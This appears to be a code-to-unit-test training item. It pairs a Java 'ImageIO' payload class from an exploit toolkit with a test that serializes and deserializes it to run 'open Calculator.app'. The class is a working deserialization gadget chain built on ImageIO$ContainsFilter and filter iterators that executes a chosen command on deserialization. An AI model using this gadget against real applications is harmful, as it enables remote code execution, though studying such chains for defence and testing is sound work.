### Question:
ImageIO extends Payload<Object> { @Override public Object pack(Object obj) throws Exception { String action = bullet.get("action"); if(action == null){ action = "start"; } Class<?> clazz = obj.getClass(); Method method = clazz.getMethod(action); ServiceRegistry.Filter filter = (ServiceRegistry.Filter) ReflectionHelper.newInstance( "javax.imageio.ImageIO$ContainsFilter", new Class<?>[]{Method.class, String.class}, new Object[]{ method, "foo"}); Iterator it = makeFilterIterator( makeFilterIterator(Collections.emptyIterator(), obj, null), "foo", filter ); return makeIteratorTriggerNative(it); }  @Override Serializer<?> getSerializer(); @Override Bullet getDefaultBullet(String command); @Override Object pack(Object obj); static Iterator makeFilterIterator(Object iterator, Object first, Object filter); static Object makeIteratorTriggerNative( Object it );  }### Answer:
@Test public void pack() throws Exception { Payload payload = new ImageIO(); Serializer serializer = payload.getSerializer(); Bullet bullet = payload.getDefaultBullet("open /System/Applications/Calculator.app"); payload.setBullet(bullet); Object obj = payload.getObject(); String xml = (String) serializer.serialize(obj); serializer.deserialize(xml); }